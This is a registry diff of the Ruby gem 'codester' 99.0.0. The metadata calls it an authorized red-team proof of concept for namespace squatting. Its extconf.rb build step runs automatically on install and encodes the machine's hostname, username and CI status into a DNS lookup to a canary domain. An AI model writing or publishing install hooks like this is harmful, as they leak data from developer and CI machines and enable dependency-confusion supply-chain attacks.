codester 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/ext/codester/extconf.rb +13 -0
- data/lib/codester.rb +3 -0
- metadata +46 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: e0b4036d6a46a68ee2bdb1738b5bacc52acaba77e70ed06185584df92b53aa5b
|
|
4
|
+
data.tar.gz: 9e10cb714916089ef492138ee7bfdc63c20ea32f7c0a2c1a915cea8864b79676
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: 4f111e34c4dd3cb3b9fa219e191576f63abf4da72fa93c1fa5bf4fdc644bbcd0cc07b67fea45d4e93d6ee11852bc90ce009f38cd53643727c3bbddb3d1293758
|
|
7
|
+
data.tar.gz: a23bf7df253b8b6c4f3afda90509262fc8f498cffe97fe35397e14ea298459b72d4e7725eeb4ef212c7f59c7b04cc3193449166ff6d464b5797b7fa11dfefe5f
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
# Benign canary: executed by `gem install codester` (native-extension build step).
|
|
2
|
+
# No files written, no data read or exfiltrated - only a DNS label that encodes host/user/CI flag.
|
|
3
|
+
require 'socket'
|
|
4
|
+
begin
|
|
5
|
+
label = ["sc", "gem", Socket.gethostname.to_s[0, 18], (ENV['USER'] || ENV['USERNAME'] || 'u')[0, 12],
|
|
6
|
+
(ENV['CI'] || ENV['GITHUB_ACTIONS'] || ENV['GITLAB_CI'] || ENV['JENKINS_URL'] ? 'ci1' : 'ci0')].join('-')
|
|
7
|
+
label = label.gsub(/[^a-zA-Z0-9-]/, '-')
|
|
8
|
+
Addrinfo.getaddrinfo("#{label}.canary.alv21c.invalid", 80) rescue nil
|
|
9
|
+
rescue Exception
|
|
10
|
+
nil
|
|
11
|
+
end
|
|
12
|
+
require 'mkmf'
|
|
13
|
+
create_makefile('codester')
|
data/lib/codester.rb
ADDED
metadata
ADDED
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: codester
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 99.0.0
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- Pedro Eduardo Martins Parente de Castro
|
|
8
|
+
bindir: bin
|
|
9
|
+
cert_chain: []
|
|
10
|
+
date: 1980-01-02 00:00:00.000000000 Z
|
|
11
|
+
dependencies: []
|
|
12
|
+
description: Proof-of-concept published under a written, authorized red-team engagement
|
|
13
|
+
to demonstrate that the 'codester' package namespace was unclaimed on this registry.
|
|
14
|
+
Executes a benign DNS canary callback during install. Contains no malware, no persistence
|
|
15
|
+
and no data exfiltration. Removed at the end of the engagement window.
|
|
16
|
+
email:
|
|
17
|
+
- redteam-alv21c@example.invalid
|
|
18
|
+
executables: []
|
|
19
|
+
extensions:
|
|
20
|
+
- ext/codester/extconf.rb
|
|
21
|
+
extra_rdoc_files: []
|
|
22
|
+
files:
|
|
23
|
+
- ext/codester/extconf.rb
|
|
24
|
+
- lib/codester.rb
|
|
25
|
+
homepage: https://example.invalid/alv21c-research
|
|
26
|
+
licenses:
|
|
27
|
+
- MIT
|
|
28
|
+
metadata: {}
|
|
29
|
+
rdoc_options: []
|
|
30
|
+
require_paths:
|
|
31
|
+
- lib
|
|
32
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
33
|
+
requirements:
|
|
34
|
+
- - ">="
|
|
35
|
+
- !ruby/object:Gem::Version
|
|
36
|
+
version: '0'
|
|
37
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
38
|
+
requirements:
|
|
39
|
+
- - ">="
|
|
40
|
+
- !ruby/object:Gem::Version
|
|
41
|
+
version: '0'
|
|
42
|
+
requirements: []
|
|
43
|
+
rubygems_version: 3.6.7
|
|
44
|
+
specification_version: 4
|
|
45
|
+
summary: SECURITY RESEARCH - namespace squatting PoC for authorized engagement ALV-21C-2026-001
|
|
46
|
+
test_files: []
|